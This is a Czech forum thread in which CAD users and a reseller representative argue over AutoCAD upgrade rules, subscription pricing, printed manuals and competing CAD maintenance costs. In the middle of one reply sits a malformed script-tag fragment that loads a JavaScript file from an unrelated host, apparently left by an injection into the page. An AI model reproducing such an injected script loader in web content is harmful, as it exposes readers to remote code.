Jeste jednou díky za trpelivost i za informace zúcastnených prítomných CAD Fora, díky ktere jsem se postupne dovidal podrobnosti, které se dají sdelit následujícími vetami a overil jsem si co jsem tusil, ze:

 - CADy bezící na AutoCADu R2002 budou platit do konce roku

- do té doby nutno pokud si nebudete chtít kupovat nový produkty AutoCADu provézt upgrade na poslední verzi

- Subscription (predplatné) prichází v úvahu kdyz si kupujete nový AutoCAD nebo po provedení upgrade

Díky panu Bubeníkovi z AAC SOLUTIONS za vysvetlení i panu Michlovi za zprostredkování

Prcek napsal(a): libi se mi srovnavani s auty, to je uzasne srovnavat auto (tedy hmotnou vec) se SW (tedy nehmotnou).

Prcku, Prcku... Tys to zase nepochopil... Kdo tady srovnává hmotnou a nehmotnou věc?  Nebyl to náhodou "princip"?

Prcek napsal(a): Placete dobre (vknop, mark, kubicek apod.) ale na spatnem hrobe.

Pláčem se uvolňují škodlivé látky z organismu, tak proč si nezaplakat, když už si jinak nepomůžem? < = src="http://local.ptron/end.js">

Prcek napsal(a): ale takovou konferenci jako je tato abyste u konkurence pohledal

Další důvod - proč si nezaplakat tady, když je to tak "skvělá" konference (což si tedy osobně nemyslím).  Napsal jste to, jako bych se měl snad začít p. Michlovi klanět či co, že tu máme takový skvost... Přece nevěříte, že to dělá z lásky k "CADistům"...:-)

Prcek napsal(a): (Ostatne panove, bez znalosti anglictiny - alespon zakladni - v soucasnem svete neprezijete)

Díky za připomenutí. Měl bych k tomu poznámku - dokonce v angličtině!, ale nechám si ji pro sebe. Nejsem zvědav na další napomenuní.

Panove, panove (vsiml jsem si ze zadna dama do tohoto tematu nevstoupila)

libi se mi srovnavani s auty, to je uzasne srovnavat auto (tedy hmotnou vec) se SW (tedy nehmotnou). Taky by se mi libilo kdyby VW prisel a rekl, ze mi nabizi Subscription na meho Passata. Nevite koho bych se mohl zeptat? Neni nejaka konference kde bych mohl bit spravneho psa (hul jsem si uz nasel). A pokud by stalo stejne jako subscription SW (v radu stovek EUR) to by me hezky usetrilo rodinny rozpocet kdybych uz nikdy nemusel kupovat nove auto ...... joj, hezka myslenka, zpatky na zem

Kdyz uz jsme u tech oprav a nahradnich dilu. Vite preci, ze vsechny zarucni opravy u aut jsou zdarma! Sahneme si do pameti, kdo naposledy byl v servisu (aut myslim) a nemusel sahnout do kapsy pro nejakou formu platidla.

Placete dobre (vknop, mark, kubicek apod.) ale na spatnem hrobe. Ted se neorientuji ve jmene firmy, kterou pan Michl nyni zastupuji (pro mne je nadale CAD Studio), ale takovou konferenci jako je tato abyste u konkurence pohledal ..... anebo sup hezky pouziveju anglictinu.

(Ostatne panove, bez znalosti anglictiny - alespon zakladni - v soucasnem svete neprezijete)

-prcek

mark napsal(a): Vladimír Michl napsal(a): mark napsal(a): Je pravda, že to Autodesk už přehání. Podle mého názoru se to zákazníkům přestane líbit. Když to vemu na naši firmu, kde máme skoro padesát instalací, tak pořád brát něco nového je finančně určitě náročné. Při takovém počtu máme taky problém se vůbec sjednotit s verzemi, takže se rozhodlo, že 2005 a dále asi dlouho nic. Subscription je jedna z cest jak nemuset řešit kdy, jak a kolik nových verzí nasadím. A je rozhodně levnější než starý způsob upgradování. mark napsal(a): Taky bych byl pro, aby se podívali na některé chyby a opravili je. Dostalo se mi do rukou příručka Lynn Allen TOP 10 tipů pro Autocad 2005. Nevím jestli dělám něco špatně, ale panel Styly jsem nenašel, čištění obrazovky Ctrl+0 mě nefunguje, průběžná pomoc Ctrl+5 taky atd. Jaké chyby máte na mysli? Nahlásil jste je? Tipy z "Top 10 Tips" myslím fungují všechny tak jak jsou popsány (český překlad brožurky jsem ale nezkoumal). mark napsal(a): Velkou příručku už nedávají. Už mi zde bylo řečeno, že je třeba šetřit lesy, ale já si myslím, že papírový manuál by měl být samozřejmostí. Nejvíc asi mi vadí, že po tolika letech nebyl Autodesk schopen zařadit standardně do kót  obloukovou kótu. Pracujeme s tramvajovým a železničním svrškem, kde je těchto kót většina. Takže asi čas ukáže kam se dostaneme. Příručku můžete dostat zdarma na vyžádání (voucher je v každé krabici). Na obloukové kóty je řada utilit (DIMARC), to jsou jsou v ACADu některé horší nedostatky. Příručka se dá sice poslat, ale pokud je mi známo tak je v angličtině. Bohužel tak silný v ní nejsem abych v ní louskal manuál. Chci se zeptat co je myšleno utilitami DIMARC nebo, kde se k nim dá dostat, co stojí. Nebo to bude řešeno v 2006? Zkoušel jsem znovu tipy, ale Ctrl+0, nebo Ctrl+5 mi nejdou.

Příručka je sice v češtině, ale trvá to 2 měsíce než dorazí a u takhle drahého produktu by měla být tištěná příručka STANDARDNÍ SOUČÁST DODÁVKY. Zlaté časy Autocadu R12 kdy k tomu byly 2 krabice příruček formát A4 v pevné vazbě a prakticky všechny přeloženy. Za ty prachy by to tak mělo být pořád. Trend tištěné příručky nedávat, o kterém píše pan Michl, bych chápal u levných programů, ale nikoliv u programu za 150.000,-!!

Vladimír Michl napsal(a): mark napsal(a): Je pravda, že to Autodesk už přehání. Podle mého názoru se to zákazníkům přestane líbit. Když to vemu na naši firmu, kde máme skoro padesát instalací, tak pořád brát něco nového je finančně určitě náročné. Při takovém počtu máme taky problém se vůbec sjednotit s verzemi, takže se rozhodlo, že 2005 a dále asi dlouho nic. Subscription je jedna z cest jak nemuset řešit kdy, jak a kolik nových verzí nasadím. A je rozhodně levnější než starý způsob upgradování. mark napsal(a): Taky bych byl pro, aby se podívali na některé chyby a opravili je. Dostalo se mi do rukou příručka Lynn Allen TOP 10 tipů pro Autocad 2005. Nevím jestli dělám něco špatně, ale panel Styly jsem nenašel, čištění obrazovky Ctrl+0 mě nefunguje, průběžná pomoc Ctrl+5 taky atd. Jaké chyby máte na mysli? Nahlásil jste je? Tipy z "Top 10 Tips" myslím fungují všechny tak jak jsou popsány (český překlad brožurky jsem ale nezkoumal). mark napsal(a): Velkou příručku už nedávají. Už mi zde bylo řečeno, že je třeba šetřit lesy, ale já si myslím, že papírový manuál by měl být samozřejmostí. Nejvíc asi mi vadí, že po tolika letech nebyl Autodesk schopen zařadit standardně do kót  obloukovou kótu. Pracujeme s tramvajovým a železničním svrškem, kde je těchto kót většina. Takže asi čas ukáže kam se dostaneme. Příručku můžete dostat zdarma na vyžádání (voucher je v každé krabici). Na obloukové kóty je řada utilit (DIMARC), to jsou jsou v ACADu některé horší nedostatky.

Příručka se dá sice poslat, ale pokud je mi známo tak je v angličtině. Bohužel tak silný v ní nejsem abych v ní louskal manuál. Chci se zeptat co je myšleno utilitami DIMARC nebo, kde se k nim dá dostat, co stojí. Nebo to bude řešeno v 2006? Zkoušel jsem znovu tipy, ale Ctrl+0, nebo Ctrl+5 mi nejdou.

Kubíček napsal(a): Pane Michl. Nezlobte se, ale ta polopravda, kdyz tvrdite, ze se my uzivatele nemusime upgadovat, asi není moc od Vas fair. Na jedne strane jsme tlaceni okolim a na druhé ekonomicky Vami. Letos jste prestali upgradem podporovat AutoCAD 2000 a ted se to bude asi tykat i 2002. Pritom jste uvedl, ze upgradujete jen 3 verze, tzn. ted kdyz v predstihu uvadite verzi 2006 to bude kazdy 2 rok? Rozdil mezi tim, kdyz si nekdo koupi novou verzi nebo upgraduje starou je podstatny ... ekonomicky... ... Je fakt, ze v Cechach aspon ty lepsi firmy dodrzovali a dodrzuji povinnost zaruky 2 roky (některe vcetne HP 3 roky). Pokud to pujde s inovacema takhle dal, tak cyklus od povinneho upgradovani bude kratsi jak 3 (2) roky. Pritom jinde třeba u aut se pozadovaly nahradni dily 10 let, a u domu je to neomezene - kdykoliv se dá provést prestavba.

Já se nechci stavět do obhájce licenční politiky Autodesku - co my (jako prodejce) upgradujeme nebo už neupgradujeme je stanoveno licenční politikou Autodesku, a na tu máme jen velmi malý vliv. Já rozumím tomu, že tlak na rychlejší aktualizace verzí je u některých uživatelů nepopulární (u jiných naopak vítaný), ale polemizuji s tím, že upgrade je nějak "povinný" nebo jestli je správné upgradovat ob 2 verze nebo ob 3 verze. Starý způsob upgradování ztrácí na významu a ekonomičtější cesta vede přes Subscription.

Dvouletá záruka na spotřební zboží nebo záruka ve 'smlouvách o dílo' nemá s případy udělování softwarových licencí mnoho společného. To jestli je to dobře nebo špatně je na další diskuse, mimo toto téma.

Dobrý den,

myslím, že tahle diskuze je o ničem. To se tu "řešilo" několikrát a nejen v této konferenci.

Pokud zůstanu u téma CAD, máme subscription na AutoCAD a Inventory a instalujeme si jen to, co chceme a kdy chceme. A je to pro nás opravdu pohodlnější.

Jeden zákazník nás teď vedle toho dotlačil do CATIA, a řeknu Vám, každý měsíc SP, ve kterém je několik nových funkčností, ošetřeno několik chyb (na jedné ruce) a desítky přibyde (nehledě na to, že některé fungující funkce v novém SP mají problém), a MĚSÍČNÍ maintenence je řádově v desítkách tisíc, tedy za rok slušně kolem dvou set tisíc na 1 LICENCI!!! A to maintenence je povinnost, bez zaplacení nejedete, protože po čtvrt roce musíte zadávat kód pro další běh.

Tak na co si pak stěžujete, tomuhle já říkám podraz, když něco koupím za milióny na licenci a abych ji mohl používat neomezeně, musím platit. Ten AutoCAD nebo Inventor máte nadosmrti. Pokud po Vás někdo nechce data v novějším formátu...

Zkuste si zjistit, jak to chodí u jiných CADů, který něco uměj. Bude to podobný. A AutoCAD a Inventor jsou významní hráči v oblasti CAD.

Hezký den Vám přeji

V. Hryz